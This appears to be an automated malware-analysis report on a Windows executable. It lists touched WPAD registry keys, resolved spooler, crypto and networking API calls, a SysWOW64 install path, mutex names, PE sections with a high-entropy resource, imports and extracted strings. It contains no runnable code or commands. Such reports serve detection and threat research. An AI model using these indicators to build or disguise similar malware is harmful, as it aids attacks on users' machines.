HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDetectedUrl
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\648fa520
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\LanguageList
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDetectedUrl
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadNetworkName
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDetectedUrl
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDetectedUrl
kernel32.dll.FlsAlloc
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.FlsFree
kernelbase.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.ProcessIdToSessionId
imm32.dll.ImmCreateContext
imm32.dll.ImmDestroyContext
imm32.dll.ImmNotifyIME
imm32.dll.ImmAssociateContext
imm32.dll.ImmReleaseContext
imm32.dll.ImmGetContext
imm32.dll.ImmGetCompositionStringA
imm32.dll.ImmSetCompositionStringA
imm32.dll.ImmGetCompositionStringW
imm32.dll.ImmSetCompositionStringW
imm32.dll.ImmSetCandidateWindow
winspool.drv.#218
winspool.drv.#217
winspool.drv.SetDefaultPrinterW
winspool.drv.GetDefaultPrinterW
winspool.drv.GetPrinterDriverPackagePathW
winspool.drv.CorePrinterDriverInstalledW
winspool.drv.GetCorePrinterDriversW
winspool.drv.UploadPrinterDriverPackageW
winspool.drv.InstallPrinterDriverFromPackageW
winspool.drv.#251
winspool.drv.AddPrinterConnection2W
winspool.drv.OpenPrinter2W
winspool.drv.DeletePrinterKeyW
winspool.drv.DeletePrinterDataExW
winspool.drv.EnumPrinterKeyW
winspool.drv.EnumPrinterDataExW
winspool.drv.GetPrinterDataExW
winspool.drv.SetPrinterDataExW
winspool.drv.DeletePrinterDataW
winspool.drv.EnumPrinterDataW
winspool.drv.SpoolerPrinterEvent
winspool.drv.SetPortW
winspool.drv.DocumentPropertySheets
winspool.drv.DevicePropertySheets
winspool.drv.IsValidDevmodeW
winspool.drv.IsValidDevmodeA
winspool.drv.AddPortExW
winspool.drv.DeletePrintProvidorW
winspool.drv.AddPrintProvidorW
winspool.drv.DeletePrintProcessorW
winspool.drv.DeleteMonitorW
winspool.drv.AddMonitorW
winspool.drv.StartDocDlgW
winspool.drv.AdvancedDocumentPropertiesW
winspool.drv.AdvancedDocumentPropertiesA
winspool.drv.DocumentPropertiesW
winspool.drv.DeviceCapabilitiesW
winspool.drv.DeletePrinterIC
winspool.drv.PlayGdiScriptOnPrinterIC
winspool.drv.CreatePrinterIC
winspool.drv.SetJobW
winspool.drv.GetJobW
winspool.drv.EnumJobsW
winspool.drv.AddPrinterW
winspool.drv.SetPrinterW
winspool.drv.GetPrinterDriverW
winspool.drv.GetPrinterDriverDirectoryW
winspool.drv.EnumPrintersW
winspool.drv.AddPrinterConnectionW
winspool.drv.DeletePrinterConnectionW
winspool.drv.AddPrinterDriverExW
winspool.drv.AddPrinterDriverExA
winspool.drv.EnumPrinterDriversW
winspool.drv.DeletePrinterDriverW
winspool.drv.DeletePrinterDriverExW
winspool.drv.AddPrintProcessorW
winspool.drv.EnumPrintProcessorsW
winspool.drv.GetPrintProcessorDirectoryW
winspool.drv.EnumPrintProcessorDatatypesW
winspool.drv.#207
winspool.drv.#209
winspool.drv.#211
winspool.drv.#212
winspool.drv.SplDriverUnloadComplete
winspool.drv.#213
winspool.drv.#214
winspool.drv.OpenPrinterW
winspool.drv.OpenPrinterA
winspool.drv.ResetPrinterW
winspool.drv.StartDocPrinterW
winspool.drv.FlushPrinter
winspool.drv.GetPrinterDataW
winspool.drv.SetPrinterDataW
winspool.drv.AddJobW
winspool.drv.ScheduleJob
winspool.drv.WaitForPrinterChange
winspool.drv.FindNextPrinterChangeNotification
winspool.drv.PrinterMessageBoxW
winspool.drv.ClosePrinter
winspool.drv.AddFormW
winspool.drv.DeleteFormW
winspool.drv.GetFormW
winspool.drv.SetFormW
winspool.drv.EnumFormsW
winspool.drv.EnumPortsW
winspool.drv.EnumMonitorsW
winspool.drv.AddPortW
winspool.drv.ConfigurePortW
winspool.drv.DeletePortW
winspool.drv.GetPrinterW
winspool.drv.DeletePrinterDriverPackageW
winspool.drv.#234
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
kernel32.dll.CreateActCtxW
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
user32.dll.NotifyWinEvent
oleaut32.dll.#200
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
comctl32.dll.#385
comctl32.dll.#320
comctl32.dll.#324
comctl32.dll.#323
ole32.dll.CreateBindCtx
ole32.dll.CoTaskMemAlloc
ole32.dll.CoGetApartmentType
ole32.dll.CoRegisterInitializeSpy
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
ole32.dll.CoTaskMemFree
comctl32.dll.#236
oleaut32.dll.#6
ole32.dll.CoGetMalloc
comctl32.dll.#328
comctl32.dll.#334
oleaut32.dll.#2
ole32.dll.CoCreateInstance
setupapi.dll.CM_Get_Device_Interface_List_Size_ExW
advapi32.dll.InitializeSecurityDescriptor
advapi32.dll.SetEntriesInAclW
ntmarta.dll.GetMartaExtensionInterface
setupapi.dll.CM_Get_Device_Interface_List_ExW
advapi32.dll.SetSecurityDescriptorDacl
advapi32.dll.IsTextUnicode
comctl32.dll.#332
comctl32.dll.#338
comctl32.dll.#339
comctl32.dll.#386
shell32.dll.#102
advapi32.dll.OpenThreadToken
propsys.dll.PSLookupPropertyHandlerCLSID
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryValueExW
advapi32.dll.RegCloseKey
propsys.dll.PSCreatePropertyStoreFromObject
propsys.dll.#417
propsys.dll.PropVariantToStringAlloc
ole32.dll.PropVariantClear
propsys.dll.PSCreateMemoryPropertyStore
propsys.dll.PropVariantToBuffer
propsys.dll.PropVariantToUInt64
propsys.dll.PropVariantToBoolean
propsys.dll.InitPropVariantFromBuffer
advapi32.dll.GetNamedSecurityInfoW
advapi32.dll.TreeSetNamedSecurityInfoW
ole32.dll.CoUninitialize
comctl32.dll.#329
comctl32.dll.#388
comctl32.dll.#321
ole32.dll.CoRevokeInitializeSpy
oleaut32.dll.#500
comctl32.dll.#387
comctl32.dll.#327
advapi32.dll.UnregisterTraceGuids
api-ms-win-downlevel-advapi32-l1-1-0.dll.UnregisterTraceGuids
cryptsp.dll.CryptReleaseContext
ntdll.dll.EtwUnregisterTraceGuids
[email protected]@[email protected]@[email protected]@[email protected]@[email protected]@Z
sechost.dll.LookupAccountSidLocalW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptGenKey
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptDuplicateHash
cryptsp.dll.CryptEncrypt
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
ws2_32.dll.#23
ws2_32.dll.#21
ws2_32.dll.WSAIoctl
ws2_32.dll.#3
ws2_32.dll.#116
iphlpapi.dll.NotifyIpInterfaceChange
iphlpapi.dll.NotifyUnicastIpAddressChange
api-ms-win-downlevel-ole32-l1-1-0.dll.CoInitializeEx
api-ms-win-downlevel-advapi32-l1-1-0.dll.EventWrite
api-ms-win-downlevel-ole32-l1-1-0.dll.CoCreateInstance
iphlpapi.dll.GetAdaptersAddresses
ws2_32.dll.GetAddrInfoW
oleaut32.dll.#8
oleaut32.dll.#9
oleaut32.dll.DllGetClassObject
oleaut32.dll.DllCanUnloadNow
advapi32.dll.RegOpenKeyW
iphlpapi.dll.ConvertInterfaceGuidToLuid
iphlpapi.dll.GetIpForwardTable2
iphlpapi.dll.GetIpNetEntry2
iphlpapi.dll.FreeMibTable
ws2_32.dll.#5
api-ms-win-downlevel-ole32-l1-1-0.dll.StringFromIID
api-ms-win-downlevel-ole32-l1-1-0.dll.CoUninitialize
cryptsp.dll.CryptDecrypt
cryptsp.dll.CryptVerifySignatureW
api-ms-win-downlevel-ole32-l1-1-0.dll.CoSetProxyBlanket
ole32.dll.ObjectStublessClient10
api-ms-win-downlevel-advapi32-l1-1-0.dll.RegEnumKeyExW
"C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe"
Global\I648FA520
Global\M648FA520
prflbmsg

BinGraph Download graph

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x0041ff13 0x0006542c 0x0006542c 4.0 2020-05-22 17:04:53 d924268b26244b38be3b23be31441a90 8e75c8c69d6dc4f17c91164816d26f5c c3669c72c7e393d206ae14e74998adea

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00001000 0x00001000 0x00034076 0x00035000 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 6.56
.rdata 0x00036000 0x00036000 0x0000d6ae 0x0000e000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ 4.75
.data 0x00044000 0x00044000 0x00005f7c 0x00003000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE 3.29
.rsrc 0x00047000 0x0004a000 0x00010564 0x00011000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ 6.88

Resources

Name Offset Size Language Sub-language Entropy File type
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_CURSOR 0x0004d9dc 0x00000134 LANG_ENGLISH SUBLANG_ENGLISH_US 2.23 None
RT_BITMAP 0x0004dbc8 0x00000144 LANG_ENGLISH SUBLANG_ENGLISH_US 2.88 None
RT_BITMAP 0x0004dbc8 0x00000144 LANG_ENGLISH SUBLANG_ENGLISH_US 2.88 None
RT_ICON 0x0004dff4 0x00000128 LANG_ENGLISH SUBLANG_ENGLISH_US 3.46 None
RT_ICON 0x0004dff4 0x00000128 LANG_ENGLISH SUBLANG_ENGLISH_US 3.46 None
RT_MENU 0x0004e11c 0x00000242 LANG_ENGLISH SUBLANG_ENGLISH_US 3.39 None
RT_DIALOG 0x0004e624 0x00000034 LANG_ENGLISH SUBLANG_ENGLISH_US 2.42 None
RT_DIALOG 0x0004e624 0x00000034 LANG_ENGLISH SUBLANG_ENGLISH_US 2.42 None
RT_DIALOG 0x0004e624 0x00000034 LANG_ENGLISH SUBLANG_ENGLISH_US 2.42 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_STRING 0x0004ff90 0x00000042 LANG_ENGLISH SUBLANG_ENGLISH_US 1.96 None
RT_ACCELERATOR 0x0004ffd4 0x00000058 LANG_ENGLISH SUBLANG_ENGLISH_US 2.92 None
RT_RCDATA 0x0005002c 0x00009f44 LANG_ENGLISH SUBLANG_ENGLISH_US 7.99 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_CURSOR 0x0005a200 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 2.02 None
RT_GROUP_ICON 0x0005a214 0x00000022 LANG_ENGLISH SUBLANG_ENGLISH_US 2.37 None
RT_VERSION 0x0005a238 0x000002d4 LANG_ENGLISH SUBLANG_ENGLISH_US 3.39 None
RT_MANIFEST 0x0005a50c 0x00000056 LANG_ENGLISH SUBLANG_ENGLISH_US 4.66 None

Imports

0x4360e0 SetErrorMode
0x4360e4 HeapAlloc
0x4360e8 HeapFree
0x4360ec HeapReAlloc
0x4360f0 VirtualAlloc
0x4360f4 RtlUnwind
0x4360f8 RaiseException
0x4360fc GetCommandLineA
0x436100 GetProcessHeap
0x436104 GetStartupInfoA
0x436108 ExitProcess
0x43610c ExitThread
0x436110 CreateThread
0x436114 HeapSize
0x436118 VirtualFree
0x43611c HeapDestroy
0x436120 HeapCreate
0x436124 GetStdHandle
0x436128 TerminateProcess
0x436134 IsDebuggerPresent
0x436148 SetHandleCount
0x43614c GetFileType
0x436154 GetTickCount
0x43615c GetACP
0x436164 GetConsoleCP
0x436168 GetConsoleMode
0x43616c LCMapStringA
0x436170 LCMapStringW
0x436174 GetStringTypeA
0x436178 GetStringTypeW
0x43617c SetStdHandle
0x436180 WriteConsoleA
0x436184 GetConsoleOutputCP
0x436188 WriteConsoleW
0x436194 CreateFileA
0x436198 GetShortPathNameA
0x4361a0 FindFirstFileA
0x4361a4 FindClose
0x4361a8 DuplicateHandle
0x4361ac GetThreadLocale
0x4361b0 GetFileSize
0x4361b4 SetEndOfFile
0x4361b8 UnlockFile
0x4361bc LockFile
0x4361c0 FlushFileBuffers
0x4361c4 SetFilePointer
0x4361c8 WriteFile
0x4361cc ReadFile
0x4361d0 DeleteFileA
0x4361d4 MoveFileA
0x4361dc GetOEMCP
0x4361e0 GetCPInfo
0x4361ec GetModuleFileNameW
0x4361f0 TlsFree
0x4361f4 LocalReAlloc
0x4361f8 TlsSetValue
0x4361fc TlsAlloc
0x436200 GlobalHandle
0x436204 GlobalReAlloc
0x436208 TlsGetValue
0x43620c LocalAlloc
0x436210 GlobalFlags
0x436214 GetDiskFreeSpaceA
0x436218 GetFullPathNameA
0x43621c GetTempFileNameA
0x436220 GetFileTime
0x436224 SetFileTime
0x436228 GetFileAttributesA
0x43622c SuspendThread
0x436230 GetCurrentThread
0x436238 GetModuleFileNameA
0x436240 GetLocaleInfoA
0x436244 lstrcmpA
0x436248 FreeResource
0x43624c GetCurrentThreadId
0x436250 GlobalFindAtomA
0x436254 GlobalDeleteAtom
0x436258 FreeLibrary
0x43625c lstrcmpW
0x436260 GetVersionExA
0x436264 GlobalFree
0x436268 GlobalAlloc
0x43626c FormatMessageA
0x436270 LocalFree
0x436274 MulDiv
0x436278 GlobalLock
0x43627c GlobalUnlock
0x436280 GetCurrentProcessId
0x436284 GetProcAddress
0x436288 GetModuleHandleA
0x43628c LoadLibraryA
0x436290 GlobalGetAtomNameA
0x436294 GlobalAddAtomA
0x436298 SetLastError
0x4362a4 CreateEventA
0x4362a8 SetEvent
0x4362ac WaitForSingleObject
0x4362b0 Sleep
0x4362b4 ResumeThread
0x4362b8 SetThreadPriority
0x4362c0 LoadLibraryExW
0x4362c4 LoadLibraryExA
0x4362c8 GetCurrentProcess
0x4362d0 CloseHandle
0x4362d4 FindResourceA
0x4362d8 LoadResource
0x4362dc LockResource
0x4362e0 SizeofResource
0x4362e4 GetStringTypeExA
0x4362e8 lstrlenA
0x4362ec lstrcmpiA
0x4362f0 CompareStringW
0x4362f4 CompareStringA
0x4362f8 GetVersion
0x4362fc GetLastError
0x436300 WideCharToMultiByte
0x436304 MultiByteToWideChar
0x43630c InterlockedExchange
0x43634c DestroyIcon
0x436350 UnregisterClassA
0x436354 GetDC
0x436358 ClientToScreen
0x43635c GrayStringA
0x436360 DrawTextExA
0x436364 DrawTextA
0x436368 TabbedTextOutA
0x43636c FillRect
0x436374 GetNextDlgTabItem
0x436378 EndDialog
0x43637c ShowOwnedPopups
0x436380 GetMessageA
0x436384 TranslateMessage
0x436388 GetCursorPos
0x43638c ValidateRect
0x436390 PostQuitMessage
0x436394 SetWindowTextA
0x436398 IsDialogMessageA
0x43639c SetMenuItemBitmaps
0x4363a4 LoadBitmapA
0x4363a8 ModifyMenuA
0x4363ac EnableMenuItem
0x4363b0 CheckMenuItem
0x4363b4 SendDlgItemMessageA
0x4363b8 IsChild
0x4363bc SetWindowsHookExA
0x4363c0 CallNextHookEx
0x4363c4 GetClassLongA
0x4363c8 SetPropA
0x4363cc GetPropA
0x4363d0 RemovePropA
0x4363d4 GetWindowTextA
0x4363d8 GetForegroundWindow
0x4363dc DispatchMessageA
0x4363e0 BeginDeferWindowPos
0x4363e4 EndDeferWindowPos
0x4363e8 GetTopWindow
0x4363ec DestroyWindow
0x4363f0 GetMessageTime
0x4363f4 GetMessagePos
0x4363f8 MapWindowPoints
0x4363fc TrackPopupMenu
0x436400 SetForegroundWindow
0x436404 MessageBoxA
0x436408 CreateWindowExA
0x43640c GetClassInfoExA
0x436410 RegisterClassA
0x436414 AdjustWindowRectEx
0x436418 ScreenToClient
0x43641c DeferWindowPos
0x436420 PtInRect
0x436424 DefWindowProcA
0x436428 CallWindowProcA
0x436430 GetWindowPlacement
0x436434 GetWindowRect
0x436438 GetSystemMetrics
0x43643c GetMenuState
0x436444 UnpackDDElParam
0x436448 ReuseDDElParam
0x43644c LoadMenuA
0x436450 DestroyMenu
0x436454 GetClassNameA
0x436458 GetSysColor
0x43645c WinHelpA
0x436460 SetWindowPos
0x436464 CharUpperA
0x436468 EnableWindow
0x43646c GetSystemMenu
0x436470 SetFocus
0x436478 GetActiveWindow
0x43647c IsWindowEnabled
0x436480 GetFocus
0x436484 EqualRect
0x436488 GetDlgItem
0x43648c SetWindowLongA
0x436490 GetKeyState
0x436494 GetDlgCtrlID
0x436498 GetMenu
0x43649c LoadIconA
0x4364a0 SetCursor
0x4364a4 PeekMessageA
0x4364a8 GetCapture
0x4364ac LoadCursorA
0x4364b0 GetSysColorBrush
0x4364b4 GetMenuItemInfoA
0x4364b8 InflateRect
0x4364bc EndPaint
0x4364c0 BeginPaint
0x4364c4 GetWindowDC
0x4364c8 UnhookWindowsHookEx
0x4364cc ReleaseDC
0x4364d0 InvalidateRect
0x4364d4 SetRect
0x4364d8 OffsetRect
0x4364dc GetClientRect
0x4364e4 IsWindow
0x4364e8 GetWindowLongA
0x4364ec ShowWindow
0x4364f0 GetWindow
0x4364f4 GetDesktopWindow
0x4364f8 SetMenu
0x4364fc PostMessageA
0x436500 BringWindowToTop
0x436504 GetLastActivePopup
0x436508 CopyRect
0x43650c SetRectEmpty
0x436510 IntersectRect
0x436514 GetClassInfoA
0x436518 ReleaseCapture
0x43651c LoadAcceleratorsA
0x436520 GetParent
0x436524 SetActiveWindow
0x436528 IsWindowVisible
0x43652c UpdateWindow
0x436530 IsIconic
0x436534 SendMessageA
0x436538 InsertMenuItemA
0x43653c GetSubMenu
0x436540 GetMenuItemID
0x436544 GetMenuItemCount
0x436548 CreatePopupMenu
0x436038 SetViewportExtEx
0x43603c ScaleViewportExtEx
0x436040 SetWindowExtEx
0x436044 ScaleWindowExtEx
0x436048 DeleteDC
0x43604c CreatePatternBrush
0x436050 GetStockObject
0x436054 CreatePen
0x436058 CreateSolidBrush
0x43605c CreateFontIndirectA
0x436064 OffsetViewportOrgEx
0x436068 SetViewportOrgEx
0x43606c SelectObject
0x436070 Escape
0x436074 ExtTextOutA
0x436078 TextOutA
0x43607c RectVisible
0x436080 PtVisible
0x436084 GetPixel
0x436088 BitBlt
0x43608c Ellipse
0x436090 DeleteObject
0x436094 MoveToEx
0x436098 LineTo
0x43609c SetMapMode
0x4360a0 SetBkMode
0x4360a4 RestoreDC
0x4360a8 SaveDC
0x4360ac CreateBitmap
0x4360b0 GetObjectA
0x4360b4 SetBkColor
0x4360b8 SetTextColor
0x4360bc GetClipBox
0x4360c0 GetDeviceCaps
0x4360c4 CreateCompatibleDC
0x4360cc GdiFlush
0x4360d0 Rectangle
0x436560 GetFileTitleA
0x436550 ClosePrinter
0x436554 DocumentPropertiesA
0x436558 OpenPrinterA
0x436000 RegSetValueExA
0x436004 RegCreateKeyExA
0x436008 GetFileSecurityA
0x43600c SetFileSecurityA
0x436010 RegQueryValueA
0x436014 RegEnumKeyA
0x436018 RegDeleteKeyA
0x43601c RegOpenKeyExA
0x436020 RegQueryValueExA
0x436024 RegOpenKeyA
0x436028 RegSetValueA
0x43602c RegCloseKey
0x436030 RegCreateKeyA
0x436324 DragQueryFileA
0x436328 ExtractIconA
0x43632c SHGetFileInfoA
0x436330 DragFinish
0x436338 PathFindFileNameA
0x43633c PathStripToRootA
0x436340 PathFindExtensionA
0x436344 PathIsUNCA
0x436314 VariantClear
0x436318 VariantChangeType
0x43631c VariantInit

!This program cannot be run in DOS mode.
.text
`.rdata
@.data
.rsrc
t<PPj
Ft;FH}
F|;FP~
Fx;FL~
Ft;FH}
F|;FP~
Fx;FL~
QQSUV
_^][YY
_[^]Y
F< Wt
9nht`SWj
9HhStL9L$
